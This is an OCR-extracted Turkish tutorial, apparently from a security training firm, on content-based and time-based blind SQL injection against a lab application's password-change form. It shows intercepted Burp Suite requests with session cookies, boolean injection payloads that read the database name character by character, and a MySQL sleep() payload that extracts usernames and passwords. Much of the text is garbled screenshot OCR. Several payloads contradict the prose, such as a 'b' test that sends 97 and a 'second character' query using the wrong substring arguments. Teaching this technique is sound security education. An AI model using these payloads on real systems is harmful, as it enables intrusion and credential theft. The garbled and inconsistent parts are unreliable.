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l. Blind SQL Injection (Content Based)

SQL Injection acikligi UNION teknigi ile farkli tablolardan veri sizdirmamiza imkan vermiyorsa, ancak
injection'l yaptigimiz noktada AND operat6ri sonrasinda olusturacagimiz TRUE ve FALSE kosullarina
karsi farkh yanitlar tretiyorsa, o halde bir sansimiz daha var demektir.

UNION tabanli veya dogrudan yanit doguran yontemlere nazaran ¢ok daha fazla sayida istek
gondermemiz gerekecektir.

Blind SQL Injection yonteminde genellikle veriler harf harf belirlenir ve her bir harfin degerini bulmak
icin binary search yéntemi kullanilir. Ornegin 0-100 arasinda bulunmasi gereken 83 degerini bulmak igin
once degerin 50'den blyulk olup olmadigini sorgularsiniz, eger biiyikse bu sefer 75'ten biylik olup
olmadigini sorgularsiniz, bundan da biyikse 88'den biiyik olup olmadigini sorgularsiniz. Bu sayidan
bliyik olmadigi icin bu defa 75 ve 88 sayilarinin ortasinda bulunan 81'den biiyik olup olmadigini
sorgularsiniz ve bu sayl bulununcaya kadar devam eder.
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BLIND SQL INJECTION

1. Blind SQL Injection (Content-Based) Ornegi

Content Base Blind SQL Injection 6rnegi icin uygulamamizin Sifre Degistirme fonksiyonundan

yararlanmaya ¢alisacagiz.

Form alanlarindan gorindr olanlari Mevcut Sifre ve Yeni Sifre alanlari

BTR Mobile - Mozilla Firefox [— IO ]
_/,__. BTR Mabile x .\-I-
"’(-'3 (D | 192.168.2.4/master.php?group=tanimlar&page =sifre _degistir.php&script=/tanimlar/js/parolako (& HQ Search | w B ¥+ A =

[ Most Visited v Jll Offensive Security "%, Kali Linux % Kali Docs % Kali Tools Exploit-DB Wy Aircrack-ng

ONLINE iSLEM MERKEZI

&, Sifre Degistir

> Sifre Degistirme

Mevecut Sifre

Yeni Sifre

Tekrar Sifre ‘ | |

Sifre Degistir

& Tanmlamalar

Sayin Burhanettin Ozgenc Givenli Gikis
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Bundan sonraki adimlarda sifre degisiklik isleminde mevcut sifre hatali durumuna dliismemek icin
(uygulamanin yeni sifrenin eski sifre ile ayni olup olmadigini kontrol etmemesinden de faydalanarak)

sifremizi 123456 olarak degistiriyoruz.

BTR Mobile - Mozilla Firefox
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_/.__. BTR Mobile * |\ *
'(' ) £2 (@ | 192.168.2.4/master.php?group=tanimlar&page=sifre _degistir.php&script=/tanimlar/js/parc

[ Most Visited v Jll Offensive Security % Kali Linux " Kali Docs % Kali Tools EBExploit-DB Wy Aircrack-ng

c | ‘Q Search

‘-_:l Saym Burhanettin Ozgenc Glvenli Cikis

ONLINE iSLEM MERKEZI

&, Sifre Degistir

> Sifre Degistirme

Meveut Sifre L]
Yeni Sifre [IITIT]

Sifre Degistir

Tekrar Sifre

& Tanmlamalar

Sifre Degistir
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Sifremiz 123456 olarak degistirildi

BTR Mobile - Mozilla Firefox

/ 5 BTR Mobile x| #
-:/(- ] (0 | 192.168.2.4/master.php?group=tanimlar&page =sifre _degistir.php&script=/tanimlar/js/parolako (= HQ Search | w B 4+ #

[ Most Visited v Jll Offensive Security % Kali Linux " Kali Docs % Kali Tools EBExploit-DB Wy Aircrack-ng

‘o;l Saym Burhanettin Ozgenc Glvenli Cikis

&, Sifre Degistir

> Sifre Degistirme Sifremiz 123456 olarak
degistirildi

iz basar ile ger

Mevecut Sifre

Yeni Sifre
& Tanmlamalar

Tekrar Sifre

Sifre Degistir
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Ancak formu gonderdigimizde form alanlarinin tamami goériinenlerden mi ibaret, inceleyelim.

Bu islem igin bir atak proxy olan Burp Suite aracindan faydalanacagiz. Bu arag ile trafigi keserek giden ve
gelen isteklerdeki form alanlarini inceleme firsatimiz olacak.

Tarayicimizdan proxy ayarimizi yaptikdan sonra istekler Burp lizerinden gecgerek sunucuya iletilecektir.
Bu islem icin internet tarayicimizin proxy ayari asagidaki sekilde yapilmalidir.

Dosya Dizen Gorinim Gecmis Yerimleri Araclar Yardim

2k Segenekler

©) Firefox  about:preferences#advanced

Bagjlanti Ayarlan

internete erismek igin vekil sunuculari yapilandir

Vekil sunucu yok
Bu adin vekil sunucu ayarlarini kendiliginden tan

Sistem vekil sunucu ayarlanni kullan

Vekil sunucuyu elle ayarla:

HTTP vekil sunucusu: | localhost Tletisim noktase:
& | Tam iletigim kurallan igin bu vekil sunucuyu kullan

SSL vekil sunucusu: | localhost Iletisim ngktast:

ETP vekil sunucusu: | |ocalhost lletisim noktase:

SOCKS sunucusu: | localhost Tletisim noktasr:

SOCKS v4 SOCKS v5
Vekil sunucu kullanimasin:

localhost, 127.0.0.1,

Ornek: .mozilla.org, .com.tr, 192.168.1.0/24

Otomatik vekil sunucu yapilandirma URL'si:
Yenile

Tamam Vazgeg Yardim

h-l-l-| 5 I.( BTRISK BiLGI GUVENLIGI VE BT YONETISIM HiZMETLERI




BTRisk Bilgi Glivenligi ve BT Yonetisim Hizmetleri
BLIND SQL INJECTION

Bu adimdan sonra sifre degistirme ekraninda tekrar islem yapalim ve Burp Uzerinde bu istegi

inceleyelim.

BTR Mobile - Mozilla Firefox
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v, __. BTR Mobile \
( 192.168.2.4/master.php?group=tanimlar&page =sifre_deqgistir.php&script=/tanimlar/js/parolaka (= | ‘Q Search

[ Most Visited v Jll Offensive Security % Kali Linux " Kali Docs % Kali Tools EBExploit-DB Wy Aircrack-ng
m Saym Burhanettin Ozgenc Glvenli Cikis

&, Sifre Degistir

> Sifre Degistirme

Meveut Sifre sessss
Yeni Sifre [IITIT]
LTI

Tekrar Sifre

I Tanimlamalar
Servisler ;mre Uegistr
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Bu asamada, giden parametreler arasinda bir de "kullanicino" parametresinin bulundugunu goriiyoruz.

Burp Suite Free Edition v1.7.03 - Temporary Project e ® O
Burp Intruder Repeater Window Help

Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |
Target I Proxy I Spider [ Scanner I Intruder |
Intercept | HTTP history | WebSockets history | Options |

Request to http://192.168.2.4:80

| Forward H Drop || Intercept is on || Action | | H==

)

Raw | Params | Headers [ Hex |

POST /master.php?group=tanimlar&page=sifre_degistir.php &script=/tanimlar/js/parolakontrol js HTTP/1.1

Host: 192.168.2.4

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/htmlapplication/xhtml+xml,application/xml;g=0.9,*/*;,q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.2.4/master.php?group=tanimlar&page=sifre_degistir.php&script=/tanimlar/js/parolakontrol.js
Cookie: BTRmCookie=353535303030303030323a42757268616e657474696e3a4f7a67656e63; PHPSESSID=NTAwWMDAWMDA1NDgx
Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 131

| »

meveut_sifre= 123456{kullanicinc = 5550000002Klreni_sifre=123456&tekrar_sifre= 1234568&Sifre_Degistir_Click=%C5%9Eifre+De%C4%
9Fi%C5%9Ftir

-

|| 0 matches
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Bu parametreyi tirnak isareti degeri ile ilettigimizde ne olacagini gézlemleyelim. Bu sayede sisteme hata
aldinip aldirlamadigi gézlemlenebilir.

Burp Suite Free Edition v1.7.03 - Temporary Project e ® O
Burp Intruder Repeater Window Help

Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |
Target I Proxy I Spider [ Scanner I Intruder |
Intercept | HTTP history | WebSockets history | Options |

Request to http://192.168.2.4:80

| Forward H Drop || Intercept is on || Action | | H“

Raw | Params | Headers | Hex |

POST /master.php?group=tanimlar&page=sifre_degistir.php &script=/tanimlar/js/parolakontrol.js HTTP/1.1 +
Host: 192.168.2.4

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;,q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.2.4/master.php?group=tanimlar&page=sifre_degistir.php&script=/tanimlar/js/parolakontrol.js

Cookie: BTRmCookie=353535303030303030323a42757268616e657474696e3a4f7a67656e63; PHPSESSID=NTAWMDAWMDALINDgx
Connection: close

Content-Type: application/x-www-form-jr!. .ded

Content-Length: 131

mevcut_sifre=12 344 '&kullanicino=‘&}ni_sifre= 123456 8&tekrar_sifre=123456&Sifre_Degistir_Click=%C5%9Eifre+De%C4%9Fi%C5%9Ft
ir

-

Type asearch term 0 matches
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Hatali bir durum olustu, ancak uygulama hatayi ele aldi. SQL Injection olma ihtimali ylksek, ancak hata
mesaji olmadigi icin farkh bir neden de olabilir. Elde ettigimiz bu ipucuna biraz daha odaklanalim.

BTR Mobile - Mozilla Firefox

g

iiig
a
@
>
]|

/'S BTR Mobile \
-:'(- i) | 192.168.2.4/master.php?group=tanimlar&page =sifre _degistir.php&script=/tanimlar/js/parolako (= HQ Search

[ Most Visited v Jll Offensive Security % Kali Linux " Kali Docs % Kali Tools EBExploit-DB Wy Aircrack-ng
‘..l

Saym Burhanettin Ozgenc Glvenli Cikis

&, Sifre Degistir

BTR mobile > Sifre Dedgistirme

[ Bir hata olusiu, lutfen tekrar deneyiniz. ]

Mevecut Sifre

Yeni Sifre
& Tanmlamalar

Tekrar Sifre

Sifre Degistir
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Bu istegin lGizerinde daha rahat calisabilmek icin istegi Burp’iin "Repeater" modiiliine atalim. Bu moddil
ile ayni istek lizerinde degisiklik yapip sunucuya géndererek yanitlari inceleyebiliriz. istek Gizerinde sag
tiklayip agilan pencerede “Send To Repeater” tiklamamiz yeterli olacaktir.

# a Host Method URL Params | Edited Status | Length | MIME typs
IS ML 165,459 GET ﬂT'Idf:Lt!l.p[]p.g[uup—Lm&pdge... |Cd} |} JUZ 183720 HTTIC -
16 http://192.168.2.4 GET /master.php?group=tanimlar&page... ] 200 14701 HTML W
17 http://192.168.2.4 GET /assets/img/nav-expand.png O O 404 498 HTML
18 http://192.168.2.4 POST /master.php?group=tanimlar&page... ] 200 14786 HTML
19 http://192.168.2.4 GET /assets/img/nav-expand.png [ ] 404 498 HTML -
20 http://192.168.2.4 POST /master.php?group=tanimlar&pa~= el [l elalal 11787 HTML =
21 http://192.168.2.4 GET Jassetsfimg/nav-expand png | oend to Spider HTML I~
4 Ji | Do an ac scan | ¢

Original request | Edited request | Response | SR izl

Send to Intruder CtrlH

Raw | Params [ Headers [ Hex | [ Send to Repeater EET
POST /master.php?group=tanimlar&page=sifre_degistir.php &script=/tanimi ./js| send to Sequencer il
Host: 192.168.2.4 Send to Comparer
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45) Send to Decoder
Accept: text/html,application/xhtml+xmlapplication/xml;g=0.9,*/*;9=0.8 Show response in browser
Accept-Language: en-US,en;q=0.5 Request in browser 4
Accept-Encoding: gzip, deflate Engagement tools [Pro version only] v

Referer: http://192.168.2.4/master.php?group=tanimlar&page=sifre_degistir.php Copy URL

Cookie: BTRmCookie=353535303030303030323a42757268616e657474696e3a4 o1 2 el command AINDgx

Connection: close Copy to file

Content-Type: application/x-www-form-urlencoded Sz e

Content-Length: 131 Convert selection '

mevcut_sifre=123456&kullanicino=5550000002&yeni_sifre=123456&tekrar _sifi ::: 3;\- :E::.X p+De%C4 |

%9Fi%C5%9Ftir o o <
Paste Ctrl-v [ =

Type asearch term Message editor help || 0matches
Proxy history help

istek parametreleri tizerinde degisiklik yaparken URL kodlama kurallarina uygunsuzlugu énlemek
amaciyla Burp'ln asagidaki yardimci fonksiyonunu aktif hale getirelim. Boylece yazdigimiz 6zel
karakterler Burp tarafinda URL kodlama yéntemiyle yazilacaklar.

[ o ][ cancel ||:||:| Target: http://192.168.2.4 | # | 2 |

Request Send to Spider bhse
Raw | Params | Headers | Hex| ©°nactvescan
il - Send to Intruder Ctrl-l 5
User-Agent: Mozilla/5.0 (X11; Liny Send to Repeater Chrl-R fud

Gecko/20100101 Firefox/45.0 Send to Sequencer

Accept: Send to Comparer
text/html.application/xhtml+xml,a cend to Decoder

8 ) L Request in browser »
Accept-Language: en-US,enq=0.5 Engagement tools [Pro version onlyl 3

Accept-Encoding: gzip, deflate
Referer:
http://192.168.2.4/master.php?grg

Change reguest method
Change body encoding

istir.php&script=/tanimlar/js/paro Copy URL
. Copy as curl command
Cookie: -
BTRmCookie=3535353030303030 ~°FY tfo 'eﬂ
4696e3a4f7a67656e63; PHPSESS||  Faste romfile
Save item

Connection: close
Content-Type: application/x-waw-

Save entire history

Content-Length: 131 Pz UL i eguEt
Add to site map

mevcut_sifre=1234568&kullanicino,__ -oNVert selection 0
234568&tekrar_sifre=123456&Sifr¢ 4 URL-encede as you type
+De%CA4%9Fi%C5%9Ftir Cut Ctrl-X |

. Copy Ctrl-C . ht
|'.-"}1oe asearch term Paste Ctrlv EI |'.-"}1oe asearch term 0 matches
Ready Message editor help
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BTRisk Bilgi Glivenligi ve BT Yonetisim Hizmetleri
BLIND SQL INJECTION

“5550000002'+AND+1%3d1--+"” injection payloadu ile "kullanicino" parametresinin string tipinde
oldugu varsayiminda bulunarak ve gegerli bir kullanici kodu kullanarak dogru (TRUE) sonug doguracak
bir sorgu olusturmayi hedefliyoruz.

Payload ekledigimiz istegi sunucuya gonderdigimizde asagidaki sekilde (TRUE) sonucunu elde
edebiliyoruz.

Burp Suite Free Edition v1.7.03 - Temporary Project e ® O
Burp Intruder Repeater Window Help
FRepeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |

Target I Proxy I Spider [ Scanner I Intruder |
1 x 2
| _co || cancel H:H:' Target: http://192.168.2.4 |?||7‘
Request ‘ Response

50 1= v

Raw [ Params | Headers | Hex |

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) - Dogru (TRUE) sonucu
Gecko/20100101 Firefox/45.0 - ]
Accept: doguracak bir sorgu

;ext}html,application,’xhtml+xml,applicationfxml;q=0.9,*f*;q=O. L O|U§turdu§umuzda aldlélmlz

Accept-Language: en-US,en;q=0.5 & 1 oihi
PR i A yanit (content) as.agldakl gibi
Referer: gerceklesiyor
http://192.168.2.4/master.php?group=tanimlar&page=sifre_deg
istir.php &script=/tanimlar/js/parolakontrol.js

Cookie: i L
BTRmCookie=353535303030303030323a42757268616e65747 |=|| | S'I"e Dedistir
4696e3a4f7a67656e63; PHPSESSID=NTAWMDAWMDA1NDgx Sifre Degistirme
Connection: close

Content-Type: &, ‘cation/x-www-form-urlencoded
Content-Length: L

[»]

o Iaep runer

isleminiz basari ile gerceklesti,
Mevcut Sifre

[ |
Yeni Sifre
|

| 0matches iR =

mevcut_sifre=123456&kullanicino=5550000002'+AND+1%3d1
--+&yeni_sifre=123456&tekrar_sifre=1234568.Sifre_Degistir_
Click=%C5%9Eifre+De%CA4%9Fi%C5%9Ftir

Tekrar Sifre

411

Type asearch term

Done 14,786 bytes | 88 millis
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Kosulun yanlis (FALSE) olacagi sekilde bir dlizenleme yaptigimizda ise aldigimiz yanit (content) dogru
kosuldan farkli olmaktadir. iste bu aradaki fark bize veritabanina yénelik ¢ok sayida sorgu yaparak veri
sizdirma imkani saglayacaktir

“5550000002'+AND+1%3d2--+" payload olarak kullanip tekrar istek yapalim ve yanitin dogru (TRUE)
kosuldan farkl olduguna dikkat edelim.

Burp Suite Free Edition v1.7.03 - Temporary Project e o 6
Burp Intruder Repeater Window Help

FRepeater "Seguencer | Decoder | Comparer | Extender ' Project options | User options | Alerts |

Target Proxy [ Spider [ Scanner [ Intruder |
1 = 2 =
[ o ][ cancel ||:| Target: http://192.168.2.4 [ #| 2 |
Request Response
Raw [ Params | Headers [ Hex | Raw | Headers | Hex [ HTML ['Render |
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) -] o TL Transfer B
Gecko/20100101 Firefox/45.0 o Internet Paketi Yikle
Accept: » Tanimlamalar
text/html.application/xhtml+xml,application/xml,g=0.9,*/*;q=0. |_| o Servisler
8 o Adresler
- Bilgilerim
Accept-Language: en-US,en;q=0.5 e o
fre D t
Accept-Encoding: gzip, deflate " o%Mgﬂ
Referer: 'ﬂﬁ .
. —tani o o Web Mesa
http://192.168.2.4/master.php?group=tanimlar &page=sifre_deg o Talep | Gneri

istir.php &script=/tanimlar/js/parolakontrol.js I
Cookie:
BTRmCookie=353535303030303030323a42757268616e65747

4696e3a4f7a67656e63; PHPSESSID=NTAwWMDAwWMDA1INDgx ; aisti
Connection: close ] ]
Content-Type  plication/x-www-form-urlencoded Mevcut sifreniz hatahdir, |

Sifre Dedgistir

Content-Lengtl. '3 r ]
i
mevcut_sifre=123456&kullanicino=5550000002'+AND+1%3d2 | 1 |

|--+8¢yeni_sifre=l23456&tekrar_sifre=123456&Sifre_D155'56000002.AND 1=5_. Gife
Click=%C5%9Eifre+De%CA4%9Fi%C5%9Ftir =] |

Type asearch term | 0 matchelz: sifre Degis... =

Done 14,775 bytes | 24 millis
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BTRisk Bilgi Glivenligi ve BT Yonetisim Hizmetleri
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TRUE ve FALSE durumlarindan emin olduktan sonra biraz daha kontrollii istekler gergeklestirebiliriz.

ilk testimizde MySQL database() fonksiyonunun déndiirdiigii degerin ilk karakterinin "a" (ASCII 97) olup
olmadigini test ediyoruz. Test icin asagidaki payloadu kullanabiliriz;
“5550000002'+AND+ascii(substring(database(),1,1))%3d97--+"

Kullandigimiz bu payload icerisindeki substring fonksiyonu yaptigimiz sorgudaki parametreler sayesinde

bize database() fonksiyonundaki ilk string ifadenin ilk degerini dondiirecektir.

Donen yanit FALSE durumunda olusan yanit oldugundan ilk karakterin "a" olmadigi sonucuna varabiliriz.

Burp Suite Free Edition v1.7.03 - Temporary Project e ® O
Burp Intruder Repeater Window Help
FRepeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |

Target I Proxy I Spider [ Scanner I Intruder |
1~ |
| Go || cancel ||:| Target: http://192.168.2.4 |?||7‘
Request Response

Raw [ Params | Headers | Hex | Raw | Headers [Hex [ HTML [ Render |
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) o TL Transfer

Gecko/20100101 Firefox/45.0 o Internet Paketi Yikle

Accept: « Tanimlamalar
text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0. | o Servisler

8 o Adresler

Accept-Language: en-US,en;q=0.5 o Bilgilerim

| »
[»]

Accept-Encoding: gzip, deflate 05_Q_S_l ifre Dedistir

Referer: « Mesajlasma

http://192.168.2.4/master.php?group=tanimlar &page=sifre_deg z_l\n'}fjg M%S:eri
istir.php&script=/tanimlar/js/parolakontrol.js Talep/Oneri L
Cookie: | . o
BTRmCookie=353535303030303030323a42757268616e65747 | sifre Degistir

4696e3a4f7a67656e63; PHPSESSID=NTAwWMDAwWMDAINDgx
Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 177 =

Sifre Degistirme

Mevcut sifreniz hatahdir,

AND asciilsubstringldatabasel),1,17)=97— |
|

Yeni Sifre

mevcut_sifre=1234568&kullanicino=5550000002'+AND+ascii(su
bstring(database(),1,1))%3d97--+ &yeni_sifre=1234?5550'00000
sifre=123456&Sifre_Degistir_Click=%C5%9Eifre+De%C4%9F%

) term | 0matches Sifre Degis... B

b

Done 14,775 bytes | 14 millis

mevcut_sifre=123456&kullanicino=5550000002'+AND+ascii(su
bstring(database(),1,1))%3d97--+8&yeni_sifre=123456&tekrar_

h‘l‘l" :' I.< BTRIiSK BiLGi GUVENLIGI VE BT YONETISIM HIZMETLERI




BTRisk Bilgi Glivenligi ve BT Yonetisim Hizmetleri
BLIND SQL INJECTION

Bu defa "b" (ASCII 98) karakterinin dogru olup olmadigini test ediyoruz ve dénen yanit TRUE kosulunda
gozledigimiz yanit oldugu icin database() fonksiyonunun dondiirdigi ilk karakterin "b" oldugunu
sdyleyebiliriz. ilgili payload;

“5550000002'+AND+ascii(substring(database(),1,1))%3d97--+"

TRUE kosulu elde ettikten sonra daha fazla bilgi elde etmek istersek sorgumuzu asagidaki sekilde
giincelleyebiliriz. Bu sorgu ile artik database() fonksiyonundaki ilk string degerin ikinci karakterinin “b”
olup olmadigini kontrol edecek ve bize yanit olarak dondirecektir.

“5550000002'+AND+ascii(substring(database(),1,2))%3d97--+"

r B

Burp Suite Free Edition v1.7.03 - Temporary Project e o 6
Burp Intruder Repeater Window Help
Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |
Target [ Proxy [ Spider [ Scanner [ Intruder |
1= [ 2 x
[ o ][ cancel ||:| Target: http://192.168.2.4 [ #| 2 |
Request | Becnanca
Raw [ Params ['Headers {1 D@nen yanit TRUE kosulunda gozledigimiz | _
User-Agent: Mozilla/5.0 (X11;| v e e . e
Geckor20100101 Firefoxas.o. Yanit oldugu icin database() fonksiyonunun
Accept: o . o e o e npn o
toxtbtmlapplicationsitmia dONAUrdugu ilk karakterin "b" oldugunu
8 soyleyebiliriz.
Accept-Language: en-US,en;q=
Accept-Encoding: gzip, deflate :’fTMM
Referer: " @‘isgﬁ_a .
http://192.168.2.4/master.php?group=tanimla;  age=sifre_deg %ri
istir.php &script=/tanimlar/js/parolakontrol.js I
Cookie: L ifre Dedi
BTRmCookie=353535303030303030323a4 ,7268616265747 Sifre Degis..
4696e3a4{7a67656e63; PHPSESSID=NTHA)  DAwWMDA1NDgx Sifre Degistirme
Connection: close . o . .
Content-Type: application/x-www-form;  :ncoded EIE%TL:P(';iﬁgasan ile gerceklesti. B
Content-Length: 177 ! | T
Yeni Sifre
mevcut _sifre=123456&kullanicino=5550000002'+AND+ascii(su
bstring(database(),1,1))%3d98--+&yeni_sifre=123[5550000002' AfD asciilsubstring(database(),1,1))=98— |
sifre=123456&Sifre_Degistir_Click=%C5%9Eifre+De%C4%9Fi%
Type a search term | 0matches sifre Degis .. ]
Done 14,786 bytes | 89 millis

Yukaridaki 6rneklerde gorildiigl lizere 6zel sorgular hazirlanarak TRUE ve FALSE kosullarin sagladigi
bilgiler ile database lizerinden Blin SQL Injection saldirilari ile bilgi sizdirma imkani dogmaktadir.
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lll. Blind SQL Injection (Time-Based)

Eger SQL injection yapabilmemize ve TRUE ve FALSE kosullar olusturabilmemize ragmen yanitlarda bir
farkhlik gézlenmiyorsa o zaman TRUE veya FALSE kosullar olustugunda yanitin donme hizini etkileyerek
yine veri sizdirma sansimiz olabilir.

Hem cok sayida istek gdndermemiz hem de zaman farkina dayanan bir yontem oldugu icin ¢ok daha
fazla siire beklememiz gerekecektir.

Time based SQL injection yonteminde sonucun hata dogurup dogurmadig énemli degildir, ancak belli
bir kosul gerceklestiginde sunucunun daha ge¢ yanit vermesine dayanarak veriler tahmin edilir.

MySQL'e 6zel bir Time-Based SQL injection sorgusu;

http://www.site.com/news.php?id=5 and 1=IF(ascii(substring((SELECT concat(username,0x3a,password)
from users limit 0,1),1,1))>80, sleep(15),1)

Veritabani sunucularinin  TIME-BASED BLIND SQL INJECTION saldirilarinda kullanilabilecek
fonksiyonlarina érnekler:

MssQL
«  WAITFOR DELAY '0:0:10' (10 sn. bekle)
MysQL

* sleep(5000) (sleep fonksiyonu MySQL 5.0.12 ve sonraki versiyonlarinda kullanilabilir, 5.000
milisaniye bekle anlamina gelir)

*  benchmark(50000, SHA1('test')) (50.000 defa 'test' verisinin SHA1 hash degerini hesapla, bunun
disinda CPU zamanini alabilecek farkli MySQL fonksiyonlari da bulunmaktadir)
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